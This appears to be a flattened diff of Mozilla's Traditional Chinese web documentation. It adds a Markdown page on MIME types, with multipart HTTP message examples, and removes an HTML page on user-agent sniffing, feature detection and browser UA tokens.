+### Types + +There are two classes of type: **discrete** and **multipart**. Discrete types are types which represent a single file or medium, such as a single text or music file, or a single video. A multipart type is one which represents a document that's comprised of multiple component parts, each of which may have its own individual MIME type; or, a multipart type may encapsulate multiple files being sent together in one transaction. For example, multipart MIME types are used when attaching multiple files to an email. + +#### Discrete types + +The discrete types currently registered with the IANA are: + +- `application`[List at IANA](https://www.iana.org/assignments/media-types/media-types.xhtml#application) + - : Any kind of binary data that doesn't fall explicitly into one of the other types; either data that will be executed or interpreted in some way or binary data that requires a specific application or category of application to use. Generic binary data (or binary data whose true type is unknown) is `application/octet-stream`. Other common examples include `application/pdf`, `application/pkcs8`, and `application/zip`. +- `audio` [List at IANA](https://www.iana.org/assignments/media-types/media-types.xhtml#audio) + - : Audio or music data. Examples include `audio/mpeg`, `audio/vorbis`. +- `example` + - : Reserved for use as a placeholder in examples showing how to use MIME types. These should never be used outside of sample code listings and documentation. `example` can also be used as a subtype; for instance, in an example related to working with audio on the web, the MIME type `audio/example` can be used to indicate that the type is a placeholder and should be replaced with an appropriate one when using the code in the real world. +- `font` [List at IANA](https://www.iana.org/assignments/media-types/media-types.xhtml#font) + - : Font/typeface data. Common examples include `font/woff`, `font/ttf`, and `font/otf`. +- `image` [List at IANA](https://www.iana.org/assignments/media-types/media-types.xhtml#image) + - : Image or graphical data including both bitmap and vector still images as well as animated versions of still image formats such as animated {{Glossary("GIF")}} or APNG. Common examples are `image/jpeg`, `image/png`, and `image/svg+xml`. +- `model` [List at IANA](https://www.iana.org/assignments/media-types/media-types.xhtml#model) + - : Model data for a 3D object or scene. Examples include `model/3mf` and `model/vml`. +- `text` [List at IANA](https://www.iana.org/assignments/media-types/media-types.xhtml#text) + - : Text-only data including any human-readable content, source code, or textual data such as comma-separated value (CSV) formatted data. Examples include `text/plain`, `text/csv`, and `text/html`. +- `video` [List at IANA](https://www.iana.org/assignments/media-types/media-types.xhtml#video) + - : Video data or files, such as MP4 movies (`video/mp4`). + +For text documents without a specific subtype, `text/plain` should be used. Similarly, for binary documents without a specific or known subtype, `application/octet-stream` should be used. + +#### Multipart types + +**Multipart** types indicate a category of document broken into pieces, often with different MIME types; they can also be used — especially in email scenarios — to represent multiple, separate files which are all part of the same transaction. They represent a **composite document**. + +With the exception of `multipart/form-data`, used in the {{HTTPMethod("POST")}} method of [HTML Forms](/zh-TW/docs/Web/Guide/HTML/Forms), and `multipart/byteranges`, used with {{HTTPStatus("206")}} `Partial Content` to send part of a document, HTTP doesn't handle multipart documents in a special way: the message is transmitted to the browser (which will likely show a "Save As" window if it doesn't know how to display the document). + +There are two multipart types: + +- `message` [List at IANA](https://www.iana.org/assignments/media-types/media-types.xhtml#message) + - : A message that encapsulates other messages. This can be used, for instance, to represent an email that includes a forwarded message as part of its data, or to allow sending very large messages in chunks as if it were multiple messages. Examples include `message/rfc822` (for forwarded or replied-to message quoting) and `message/partial` to allow breaking a large message into smaller ones automatically to be reassembled by the recipient. +- `multipart` [List at IANA](https://www.iana.org/assignments/media-types/media-types.xhtml#multipart) + - : Data that is comprised of multiple components which may individually have different MIME types. Examples include `multipart/form-data` (for data produced using the {{domxref("FormData")}} API) and `multipart/byteranges` (defined in {{RFC(7233, "5.4.1")}} and used with {{Glossary("HTTP")}}'s {{HTTPStatus(206)}} "Partial Content" response returned when the fetched data is only part of the content, such as is delivered using the {{HTTPHeader("Range")}} header). + +## 重要的 MIME 類別 + +### application/octet-stream + +這是二進制檔案的預設類別,代表未知的二進制檔案,通常瀏覽器都不執行或是會詢問是否要執行。They treat it as if the {{HTTPHeader("Content-Disposition")}} header was set to `attachment`, and propose a "Save As" dialog. + +### text/plain + +文字檔案的預設類別。就算是未知的文字檔案,瀏覽器都先假設他們是可以被呈現於畫面的。 + +> **備註:** 注意 `text/plain` 不代表"任何一種文字檔案"。例如從用於表示 CSS 檔案的{{HTMLElement("link")}}元素載了一個 `text/plain` 檔案,瀏覽器不會識別該檔案為一個有效的 CSS 檔案。CSS 的 MIME 類別必須要使用 `text/css`。 + +### text/css + +用來套用在網頁的 CSS 檔案**一定要**配合 `text/css` 做傳輸。如果伺服器沒有將副檔名 `.css` 視為 CSS 檔案,伺服器有可能會使用 `text/plain` 或是 `application/octet-stream` 的 MIME 型態來傳輸檔案,而導致這些檔案不被大多數的瀏覽器當成 CSS 而被忽略。 + +### text/html + +All HTML content should be served with this type. Alternative MIME types for XHTML (like `application/xhtml+xml`) are mostly useless nowadays. + +> **備註:** Use `application/xml` or `application/xhtml+xml` if you want XML’s strict parsing rules, [``](/en-US/docs/Web/API/CDATASection) sections, or elements that aren't from HTML/SVG/MathML namespaces. + +### text/javascript + +Per the HTML specification, JavaScript files should always be served using the MIME type `text/javascript`. No other values are considered valid, and using any of those may result in scripts that do not load or run. + +For historical reasons, the [MIME Sniffing Standard](https://mimesniff.spec.whatwg.org/) (the definition of how browsers should interpret media types and figure out what to do with content that doesn't have a valid one) allows JavaScript to be served using any MIME type that essentially matches any of the following: + +- `application/javascript` +- `application/ecmascript` +- `application/x-ecmascript` {{Non-standard_Inline}} +- `application/x-javascript` {{Non-standard_Inline}} +- `text/javascript` +- `text/ecmascript` +- `text/javascript1.0` {{Non-standard_Inline}} +- `text/javascript1.1` {{Non-standard_Inline}} +- `text/javascript1.2` {{Non-standard_Inline}} +- `text/javascript1.3` {{Non-standard_Inline}} +- `text/javascript1.4` {{Non-standard_Inline}} +- `text/javascript1.5` {{Non-standard_Inline}} +- `text/jscript` {{Non-standard_Inline}} +- `text/livescript` {{Non-standard_Inline}} +- `text/x-ecmascript` {{Non-standard_Inline}} +- `text/x-javascript` {{Non-standard_Inline}} + +> **備註:** Even though any given {{Glossary("user agent")}} may support any or all of these, you should only use `text/javascript`. It's the only MIME type guaranteed to work now and into the future. + +Some content you find may have a `charset` parameter at the end of the `text/javascript` media type, to specify the character set used to represent the code's content. This is not valid, and in most cases will result in a script not being loaded. + +### Image types + +Files whose MIME type is `image` contain image data. The subtype specifies which specific image file format the data represents. Only a few image types are used commonly enough to be considered safe for use on web pages: + +{{page("en-US/docs/Web/Media/Formats/Image_types", "table-of-image-file-types")}} + +### Audio and video types + +As is the case for images, HTML doesn't mandate that web browsers support any specific file and codec types for the {{HTMLElement("audio")}} and {{HTMLElement("video")}} elements, so it's important to consider your target audience and the range of browsers (and versions of those browsers) they may be using when choosing the file type and codecs to use for media. + +Our [media container formats guide](/zh-TW/docs/Web/Media/Formats/Containers) provides a list of the file types that are commonly supported by web browsers, including information about what their special use cases may be, any drawbacks they have, and compatibility information, along with other details. + +The [audio codec](/zh-TW/docs/Web/Media/Formats/Audio_codecs) and [video codec](/zh-TW/docs/Web/Media/Formats/Video_codecs) guides list the various codecs that web browsers often support, providing compatibility details along with technical information such as how many audio channels they support, what sort of compression is used, and what bit rates and so forth they're useful at. The [codecs used by WebRTC](/zh-TW/docs/Web/Media/Formats/WebRTC_codecs) guide expands upon this by specifically covering the codecs supported by the major web browsers, so you can choose the codecs that best cover the range of browsers you wish to support. + +As for MIME types of audio or video files, they typically specify the container format (file type). The optional [codecs parameter](/zh-TW/docs/Web/Media/Formats/codecs_parameter) can be added to the MIME type to further specify which codecs to use and what options were used to encode the media, such as codec profile, level, or other such information. + +The most commonly used MIME types used for web content are listed below. This isn't a complete list of all the types that may be available, however. See the [media container formats](/zh-TW/docs/Web/Media/Formats/Containers) guide for that. + +| MIME type | Audio or video type | +| ------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| `audio/wave` `audio/wav` `audio/x-wav` `audio/x-pn-wav` | An audio file in the WAVE container format. The PCM audio codec (WAVE codec "1") is often supported, but other codecs have limited support (if any). | +| `audio/webm` | An audio file in the WebM container format. Vorbis and Opus are the codecs officially supported by the WebM specification. | +| `video/webm` | A video file, possibly with audio, in the WebM container format. VP8 and VP9 are the most common video codecs; Vorbis and Opus the most common audio codecs. | +| `audio/ogg` | An audio file in the Ogg container format. Vorbis is the most common audio codec used in such a container; however, Opus is now supported by Ogg as well. | +| `video/ogg` | A video file, possibly with audio, in the Ogg container format. Theora is the usual video codec used within it; Vorbis is the usual audio codec, although Opus is becoming more common. | +| `application/ogg` | An audio or video file using the Ogg container format. Theora is the usual video codec used within it; Vorbis is the usual audio codec. | + +### multipart/form-data + +The `multipart/form-data` type can be used when sending the values of a completed [HTML Form](/zh-TW/docs/Web/Guide/HTML/Forms) from browser to server. + +As a multipart document format, it consists of different parts, delimited by a boundary (a string starting with a double dash `--`). Each part is its own entity with its own HTTP headers, {{HTTPHeader("Content-Disposition")}}, and {{HTTPHeader("Content-Type")}} for file uploading fields. + +```plain +Content-Type: multipart/form-data; boundary=aBoundaryString +(other headers associated with the multipart document as a whole) + +--aBoundaryString +Content-Disposition: form-data; name="myFile"; filename="img.jpg" +Content-Type: image/jpeg + +(data) +--aBoundaryString +Content-Disposition: form-data; name="myField" + +(data) +--aBoundaryString +(more subparts) +--aBoundaryString-- +``` + +The following `
`: + +```html + + + + + +
+``` + +will send this message: + +```plain +POST / HTTP/1.1 +Host: localhost:8000 +User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0) Gecko/20100101 Firefox/50.0 +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 +Accept-Language: en-US,en;q=0.5 +Accept-Encoding: gzip, deflate +Connection: keep-alive +Upgrade-Insecure-Requests: 1 +Content-Type: multipart/form-data; boundary=---------------------------8721656041911415653955004498 +Content-Length: 465 + +-----------------------------8721656041911415653955004498 +Content-Disposition: form-data; name="myTextField" + +Test +-----------------------------8721656041911415653955004498 +Content-Disposition: form-data; name="myCheckBox" + +on +-----------------------------8721656041911415653955004498 +Content-Disposition: form-data; name="myFile"; filename="test.txt" +Content-Type: text/plain + +Simple file. +-----------------------------8721656041911415653955004498-- +``` + +### multipart/byteranges + +The `multipart/byteranges` MIME type is used to send partial responses to the browser. + +When the {{HTTPStatus("206")}}` Partial Content` status code is sent, this MIME type indicates that the document is composed of several parts, one for each of the requested ranges. Like other multipart types, the {{HTTPHeader("Content-Type")}} uses a `boundary` to separate the pieces. Each piece has a {{HTTPHeader("Content-Type")}} header with its actual type and a {{HTTPHeader("Content-Range")}} of the range it represents. + +```plain +HTTP/1.1 206 Partial Content +Accept-Ranges: bytes +Content-Type: multipart/byteranges; boundary=3d6b6a416f9b5 +Content-Length: 385 + +--3d6b6a416f9b5 +Content-Type: text/html +Content-Range: bytes 100-200/1270 + +eta http-equiv="Content-type" content="text/html; charset=utf-8" /> + {{HTTPSidebar}} - -

針對不同的瀏覽器給予不同的網頁或服務,通常不是好主意:網路的原意,是要讓所有人都能訪問,無論他們使用何種瀏覽器或何種設備。你的網站可以透過基於(瀏覽器)功能可用性的漸進增強法開發,而不是特別指定某種瀏覽器。

- -

不過瀏覽器與標準並不是完美的,有些特殊情況依舊需要偵測瀏覽器。透過用戶代理(user agent)去偵測瀏覽器看似簡單,要做好卻頗為困難。這份文件會盡可能引導你正確處理這種事。

- -
-

因為很重要所以再說一次:實行用戶代理嗅探(User Agent sniffing)通常不是好主意。問題通常都會有更好、更通用的解決方法!

-
- -

使用瀏覽器偵測前應當考慮什麼

- -

在考慮透過用戶代理字串,去偵測使用瀏覽器時,首先要盡可能避免這種用法。先從認清為什麼要這麼做開始。

- -
-
你正針對某瀏覽器的特定錯誤奮戰著?
-
去專業論壇閱讀或提問:你不太可能是第一個碰上問題的人。另外,去找專家、或只是與你有不同觀點的人問問看,也會對你的除錯思路有所幫助。如果問題看來頗為罕見,你應該去檢查這個錯誤是不是透過缺陷跟蹤管理系統(bug tracking system:MozillaWebKitBlinkOpera)報告到瀏覽器供應商。瀏覽器供應商很重視錯誤報告,相關分析也可能提示該錯誤的其他解決辦法。
-
你正試圖檢查某個特定功能是否存在?
-
你的網站需要用到某些瀏覽器不支援的功能,並給這些用戶功能更少,但你知道能正常顯示的網站。這類用戶代理嗅探的理由非常糟糕,因為大多數的瀏覽器,最終都有可能支援該功能。對所有瀏覽器都予以測試也不實際。絕對不要用戶代理嗅探、功能偵測是永遠的替代方案。
-
你希望給不同的瀏覽器不同的 HTML?
-
這種作法通常不太好,不過有時候卻是必要的。在此種情況下,你首先要分析是否真該這麼做。你能藉由加入某些無語意的 {{ HTMLElement("div") }} 或 {{ HTMLElement("span") }} 元素避免嗎?與難以完成的用戶代理偵測比起來,HTML 整潔性的稍稍降低變得相當值得。另外,請重新構思你的設計:你能藉由漸進增強或是流動排版(fluid layouts)來消除用戶代理偵測的需求嗎?
-
- -

避免用戶代理偵測

- -

如果要避免用戶代理偵測,有以下選項!

- -
-
功能偵測
-
功能偵測使你無須弄清是哪種瀏覽器在渲染你的網頁,只須檢查需要的具體功能是否能用。如果不能用,就採取備用方案。在極少數的情況下,各瀏覽器行為有所不同。面對這種情況,不要偵測用戶代理,而是用實作測試來檢查瀏覽器 API、並搞清楚用法。最近有個好例子:Chrome 針對正規表達式,添加了實驗性的 lookbehind 支援,但其他瀏覽器並不支援。你可能以為要這麼用:
-
-
// 這個程式以特殊表示法把字串分開來
-
-if (navigator.userAgent.indexOf("Chrome") !== -1){
-    // 好,這用戶應該是支援 look-behind regexps
-    // 不要在不支援該功能的瀏覽器使用 /(?<=[A-Z])/
-    // 因為瀏覽器都會解析整個腳本,包括從未執行過的代碼部分。
-    // 進而讓不支援該功能的瀏覽器拋出語法錯誤。
-    var camelCaseExpression = new RegExp("(?<=[A-Z])");
-    var splitUpString = function(str) {
-        return (""+str).split(camelCaseExpression);
-    };
-} else {
-    /* 這個語法的性能差得多,但能動 */
-    var splitUpString = function(str){
-        return str.replace(/[A-Z]/g,"z$1").split(/z(?=[A-Z])/g);
-    };
-}
-console.log(splitUpString("fooBare")); // ["fooB", "are"]
-console.log(splitUpString("jQWhy")); // ["jQ", "W", "hy"]
- -

但這程式其實很糟糕、考慮也很不周到。如果 Chrome 把 lookbehind 這功能移走呢?如果其他瀏覽器支援了 lookbehind 正規表達式呢?如果其他瀏覽器在用戶代理名字內,混入了 Chrome 呢?這個列表會因此,讓可怕的錯誤不斷發生。因此,你應該用以下的功能檢測:

- -
var isLookBehindSupported = false;
-try {
-    isLookBehindSupported = !!new RegExp("(?<=)");
-} catch(e){
-    // 不支援的瀏覽器會出現 lookbehind expressions err
-}
-var splitUpString = isLookBehindSupported ? function(str) {
-    return (""+str).split(new RegExp("(?<=[A-Z])"));
-} : function(str) {
-    return str.replace(/[A-Z]/g,"z$1").split(/z(?=[A-Z])/g);
-};
-
- -

這程式一定會讓瀏覽器在不嗅探用戶代理的情況下測試功能。要作類似這樣的事情,完全沒有動用用戶代理嗅探的理由。

- -

最後,上面的程式碼還附帶一個必須考量的,有關跨瀏覽器的關鍵問題:不要在不支援的瀏覽器,使用到要測試的API。這聽來簡單,但有時候不是這樣:同樣以上面為例,在簡寫正規表達式使用 lookbehind(如 /reg/igm)會讓不支援該功能瀏覽器的解析器出錯。因此,你需要使用 new RegExp("(?<=look_behind_stuff)"); 而非 /(?<=look_behind_stuff)/,哪怕 lookbehind 已經支援了。

-
-
漸進增強(Progressive Enhancement)
-
此設計技術與網站開發的「層次」有關:它運用下而上的途徑、從簡單的層次開始,透過一連串的層次,漸漸增強網站的能力。
-
優雅降級(Graceful degradation)
-
這種由上而下的途徑,是先在建造網站時,就用上所有需要的功能,再調整到令舊版瀏覽器也能執行。這種途徑與漸進增強相比,難度更高、效率也更糟,不過在某些情況下也可能更管用。
-
行動設備偵測(Mobile Device Detection)
-
-

檢查是否透過行動設備上網,大概是用戶代理嗅探最常見的用途與誤用。偵測後要作什麼事,卻往往是被忽略的問題所在。開發者通常透過用戶代理嗅探,將用戶設備導向至易於觸碰的小螢幕,以便加強網站體驗。

- -

用戶代理這方面有時有用,但問題是所有設備不完全相同:有些行動設備的尺寸很大、有些桌機有一小塊觸控螢幕、有些人使用完全是不同世界的智慧型電視、甚至還有藉由翻轉平板、來動態改變設備長寬的人!

- -

因此,用戶代理嗅探絕不是好辦法。但是,還有更好的選擇:例如使用 Navigator.maxTouchPoints 來檢查用戶設備有沒有觸控螢幕;接著在 if (!("maxTouchPoints" in Navigator)) { /*程式寫在這*/} 時,就切回用戶代理檢查。利用這個訊息,來檢查設備有沒有觸控螢幕。

- -

不要為了觸控設備,就換掉整個排版。這只會讓自己更費工、維護更頭痛;而是加點讓觸摸更便利的東西:像是好按的按鈕(這可以透過在 CSS 增加字體大小完成)。以下是針對 #exampleButton 在手機環境時,增加 1em 的程式範例:

-
-
-
var hasTouchScreen = false;
-if ("maxTouchPoints" in navigator) {
-    hasTouchScreen = navigator.maxTouchPoints > 0;
-} else if ("msMaxTouchPoints" in navigator) {
-    hasTouchScreen = navigator.msMaxTouchPoints > 0;
-} else {
-    var mQ = window.matchMedia && matchMedia("(pointer:coarse)");
-    if (mQ && mQ.media === "(pointer:coarse)") {
-        hasTouchScreen = !!mQ.matches;
-    } else if ('orientation' in window) {
-        hasTouchScreen = true; // depedicated, but good fallback
-    } else {
-        // Only as a last resort, fall back to user agent sniffing
-        var UA = navigator.userAgent;
-        hasTouchScreen = (
-            /\b(BlackBerry|webOS|iPhone|IEMobile)\b/i.test(UA) ||
-            /\b(Android|Windows Phone|iPad|iPod)\b/i.test(UA)
-        );
-    }
-}
-if (hasTouchScreen)
-    document.getElementById("exampleButton").style.padding="1em";
-
-
-

針對螢幕尺寸,則使用 window.innerWidthwindow.addEventListener("resize", function(){ /*更新螢幕尺寸依賴的東西*/ })

- -

不要刪減小螢幕能看到的資訊,這只會激怒被逼著切到桌面版的用戶們;而是應該針對小螢幕,提供行列更少,但頁面更長的資訊;針對大螢幕,則提供行列更多,但頁面更短的資訊。這種效果能透過 flexboxes 實現。如果需要有限支援舊版本,請使用floats 屬性。

-
-
-

另外,試著把不相關或不重要的資訊放到下面、然後把資料放得有意義。然後雖然有點離題,但下面的詳細示例,可能會給你有力的見解和想法,放棄用戶代理嗅探。

- -

我們先想像一個由各種貓貓或狗狗的訊息框,所組成的頁面;每個訊息框都有圖片、概覽、還有歷史趣聞;而圖片即使在大螢幕上,也要保持最大的合理尺寸。為了讓內容有意義的排列在一起,所有的貓貓訊息框都和狗狗訊息框分開、兩種動物都不會混在一起。在大螢幕上,會節省具有多列的空間,從而減少了圖片左右兩側的間距。訊息框則會透過平分而被拆分為多列。

- -

現在我們能假設在原始碼裡面,狗狗訊息框都在上面、而貓貓訊息框都在下面。而這兩個框框都在同一個父元素之下。很明顯,有一個狗狗訊息框,就在貓貓訊息框的上面。第一個方法,就是使用水平的 Flexbox 把內容組合起來。這樣,當頁面顯示給最終用戶時,狗狗訊息框就在頁面上方、而貓貓訊息框就在頁面下方;第二個方法,就是使用 Column layout and resent 把所有的狗狗與貓貓排到右邊。在這種情況下,就能給沒有 flexboxes/multicolumns 的老舊版本提供適當的呈現:他們會呈現一列非常寬的框。

- -

再考慮一下這個例子:如果有人是想來看貓貓的,那我們就可以在原始碼裡面,把貓貓放到狗狗的上面。這樣一來,更多的人就可以在更小的螢幕上(內容折疊成一列)更快找到需要的內容。

-
-
-

接著,確保程式是動態性的。用戶可以翻轉手機,以改變頁面長寬;或是未來使用某些類似功能的怪設備。不要為了用戶翻轉行為焦頭額爛、在使用開發工具確實檢查前也不要自滿。實踐的最佳辦法,就是在一個函式內透過螢幕尺寸,把所有可移動內容的程式分開。而分開這些程式的觸發點,則放在頁面載入、或觸動 resize 事件時。如果載入新佈局頁面前,需要在函式內計算很多東西,請考慮對事件偵聽器使用 debouncing 以避免過度呼叫。

- -

另請注意,(max-width: 25em), not all and (min-width: 25em), and (max-width: 24.99em)是不一樣的:(max-width: 25em) 會排除 (max-width: 25em);而 not all and (min-width: 25em) 則包含了 (max-width: 25em)(max-width: 24.99em) 是仆街版的 not all and (min-width: 25em)。不要用 (max-width: 24.99em),因為在字型很大、或解析度很高時,版面可能會跑掉。謹慎選擇正確的 media query、以及在 Javascript 正確使用 >=, <=, >, < 等運算符。因為 Javascript 可能把這些東西都混為一談,然後你的網站就會在某些尺寸下亂閃亂排。因此,徹底測試在不同寬高下,網站會怎麼改變,以確保佈局不出錯。

-
-
- -

把用戶代理嗅探搞到最好

- -

在探討所有能替代用戶代理嗅探的方法後,還是可能會有合理的理由,用到用戶代理嗅探。

- -

其中一個例子,就是透過用戶代理嗅探,提供觸控螢幕的支援。詳請參閱上面的「行動設備偵測」章節。另一個例子,則是修復在沒有自動更新功能的瀏覽器上,所發生的錯誤。Windows 的 Internet Explorer 與 iOS 的 Webkit 就是個好實例。

- -

Internet Explorer 在第九代以前,有著各種難以置信的問題。問題涵蓋了渲染、CSS、API 等方方面面。不過 IE9 之前的版本,是個相當機車特殊的例外。我們可以輕易透過該瀏覽器的特定功能,檢測到相關訊息。

- -

蘋果強迫所有瀏覽器使用 Webkit 核心,所以 Webkit 的情形更糟糕;用戶也無法在舊設備上,得到更新的瀏覽器。大多數錯誤都能找出來,但某些錯誤,需要花更多時間抓出來。在這種情況下,使用用戶代理嗅探來可能是更有益的。

- -
var UA=navigator.userAgent, isWebkit=/\b(iPad|iPhone|iPod)\b/.test(UA) &&
-               /WebKit/.test(UA) && !/Edge/.test(UA) && !window.MSStream;
-
-var mediaQueryUpdated = true, mqL = [];
-function whenMediaChanges(){mediaQueryUpdated = true}
-
-var listenToMediaQuery = isWebkit ? function(mQ, f) {
-    if(/height|width/.test(mQ.media)) mqL.push([mQ, f]);
-    mQ.addListener(f), mQ.addListener(whenMediaChanges);
-} : function(){};
-var destroyMediaQuery = isWebkit ? function(mQ) {
-    for (var i=0,len=mqL.length|0; i<len; i=i+1|0)
-        if (mqL[i][0] === mQ) mqL.splice(i, 1);
-    mQ.removeListener(whenMediaChanges);
-} : listenToMediaQuery;
-
-var orientationChanged = false;
-addEventListener("orientationchange", function(){
-    orientationChanged = true;
-}, PASSIVE_LISTENER_OPTION);
-
-addEventListener("resize", setTimeout.bind(0,function(){
-    if (orientationChanged && !mediaQueryUpdated)
-        for (var i=0,len=mqL.length|0; i<len; i=i+1|0)
-            mqL[i][1]( mqL[i][0] );
-    mediaQueryUpdated = orientationChanged = false;
-},0));
- -

你想找到用戶代理的哪個資訊

- -

因為用戶代理字串的差異處並沒有統一,這方面會頗為棘手。

- -

瀏覽器名稱

- -

當別人說要「偵測瀏覽器」的時候,他們通常要的是「偵測排版引擎」:你真的要偵測到用戶在使用 Firefox 抑或相對應的 SeaMonkey,或偵測到在使用 Chrome 抑或相對應的 Chromium 嗎?還是說只要偵測瀏覽器用的是 Gecko 或是 WebKit 排版引擎?如果你要的是後者,請直接看後面的章節。

- -

雖然有 Internet Explorer 這個明顯的例外,多數瀏覽器通常會把瀏覽器名字與版本用成 BrowserName/VersionNumber瀏覽器名/版本名)格式。然而,因為用戶代理不是只有瀏覽器名提供這種格式,你不能找到瀏覽器的名字,你只能檢查該名字是否為你要尋找的目標。也請注意瀏覽器還會「造假」:例如 Chrome 就會同時宣稱自己是 Chrome 與 Safari。因此,如果要找出 Safari 瀏覽器,你就要在找出 Safari 字串的同時,排除掉 Chrome 字串。此外,Chromium 也常常宣稱自己是 Chrome、而 Seamonkey 有時也會宣稱自己是 Firefox。

- -

另請注意,不要針對 BrowserName 使用簡單的正規表達式,因為用戶代理可能有不是 Keyword/Value 的字串。例如 Safari 與 Chrome 在字串內就包含了 like Gecko(類似 Gecko)。

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
必定包含必定不包含註解
FirefoxFirefox/xyzSeamonkey/xyz
SeamonkeySeamonkey/xyz
ChromeChrome/xyzChromium/xyz
ChromiumChromium/xyz
SafariSafari/xyzChrome/xyz or Chromium/xyzSafari 給出了兩個版本號、一個是偏技術性的 Safari/xyz token,另一個則是偏向用戶友好的 Version/xyz token
Opera -

OPR/xyz [1]

- -

Opera/xyz [2]

-
-

[1] Opera 15+ (Blink-based engine)

- -

[2] Opera 12- (Presto-based engine)

-
Internet Explorer; MSIE xyz;Internet Explorer 並不使用 BrowserName/VersionNumber 格式
- -

當然這裡不保證沒有其他瀏覽器,騎劫其他瀏覽器的可能,例如過去的 Chrome 就騎劫過 Safari。這也是為什麼透過用戶代理字串來探測瀏覽器是靠不住的,它也只能用在探測版本號(不太可能有騎劫過去版本號的情形)。

- -

瀏覽器版本

- -

瀏覽器版本通常,但不是每次,都把數值放在用戶代理字串的 BrowserName/VersionNumber token。把版本號放在 MSIE 之後的 Internet Explorer、還有加了 Version/VersionNumber token 的第十代以後 Opera 版本就是明顯的例子。

- -

再次強調,因為無法確保尋找的瀏覽器會包含有效的數字,請確認你針對的瀏覽器,選取了正確的 token。

- -

排版引擎

- -

如同前述,多數情況下,找尋排版引擎(rendering engine)更為恰當。這能讓少有人知的瀏覽器,不致遭到排除在外。使用某一種排版引擎的瀏覽器,共享相同的網頁瀏覽:這種「一處有效、處處有效」的假設,是很公平的。

- -

目前有五大主流的排版引擎:Trident, Gecko, Presto, Blink 與 WebKit。因為排版引擎嗅探頗為常見,許多用戶代理也會加入其他的排版引擎,以觸發探測。所以在偵測排版引擎的時候,當心別錯誤觸發。

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
絕對有
GeckoGecko/xyz
WebKitAppleWebKit/xyz請注意 WebKit 瀏覽器會加上「like Gecko」字串。如果探測不加留意,就會錯誤觸發針對 Gecko 的情形。
PrestoOpera/xyz注意:Presto 在 Opera15 以後不再使用(請參見 Blink)
TridentTrident/xyzInternet Explorer 把這個 token 放在 User Agent String 的 comment(註解)部份
EdgeHTMLEdge/xyzThe non-Chromium Edge puts its engine version after the Edge/ token, not the application version.
- Note: EdgeHTML is no longer used in Edge browser builds >= version 79 (see 'Blink').
BlinkChrome/xyz
- -

排版引擎版本

- -

除了 Gecko 這個著名的例外,多數排版引擎版本的 token 通常會是 RenderingEngine/VersionNumber(排版引擎/版本號)。Gecko 把版本號放在用戶代理內,位於 rv: 字串後的註解部份。但在 Gecko 14(攜帶版)或 Gecko 17(桌面版)以後,版本號也出現在 Gecko/version token 裡面(之前的版本則是寫建置日期、固定的日期則呼叫 GeckoTrail)。

- -

作業系統

- -

大多數的用戶代理都會表明自己固定字符串在個作業系統上運行(儘管如 Firefox OS 這種以網路為中心的平台並沒有這樣做),不過格式的差異卻頗大。它是個固定字串,位於用戶代理註解部份的兩個分號間。對每個瀏覽器而言。這些字串是特定的。這些字串給出了作業系統、通常也給出他們的版本以及在哪個設備上運作(32位元或64位元、抑或 Mac 的 Intel/PPC)。

- -

如同其他個案,這些字串可能在未來會有所變動,只應該用於檢測已經出現的瀏覽器。在瀏覽器的新版本出現後,也要進行技術研究,以確保程式能夠適應。

- -

手機、平板、桌機

- -

最常實行用戶代理嗅探的理由,是判別瀏覽器是在哪個設備執行。這麼做的目的是提供不同類型的 HTML 內容給不同類型的上網設備。

- -
    -
  • 絕對不要假設某個瀏覽器或排版引擎,只在某種類型的設備執行。更不要對不同的瀏覽器或排版引擎,給予不同的預設值。
  • -
  • 也絕對不要用 OS token 來定義該瀏覽器在手機、平板、抑或桌機上執行。作業系統可能在不只一種設備運作。例如,Android 可以在手機、也可以在平板上運作。
  • -
- -

以下表格概括了主要的瀏覽器製造者,如何表明它們的瀏覽器在手機上運作:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
主要瀏覽器的用戶代理字串
瀏覽器規則示例
Mozilla (Gecko, Firefox)註解內的 MobileTablet tokenMozilla/5.0 (Android; Mobile; rv:13.0) Gecko/13.0 Firefox/13.0
WebKit-based (Android, Safari)註解外的 Mobile Safari tokenMozilla/5.0 (Linux; U; Android 4.0.3; de-ch; HTC Sensation Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Blink-based (Chromium, Google Chrome, Opera 15+)註解外的 Mobile Safari tokenMozilla/5.0 (Linux; Android 4.4.2); Nexus 5 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.117 Mobile Safari/537.36 OPR/20.0.1396.72047
Presto-based (Opera 12-) -

註解內的 Opera Mobi/xyz token (Opera 12-)

-
-

Opera/9.80 (Android 2.3.3; Linux; Opera Mobi/ADR-1111101157; U; es-ES) Presto/2.9.201 Version/11.50

-
Internet Explorer註解內的 IEMobile/xyzMozilla/5.0 (compatible; MSIE 9.0; Windows Phone OS 7.5; Trident/5.0; IEMobile/9.0)
- -

總之,我們建議藉著找出用戶代理的「Mobi」字串,來偵測行動設備。

- -
-

如果設備尺寸夠大的話,它就不會標示「Mobi」。針對這種情形,你應該提供桌面版網站。另外,因為最近桌面設備的觸控螢幕越來越多,為了提供最佳習慣,網站應該支援觸控輸入。

-
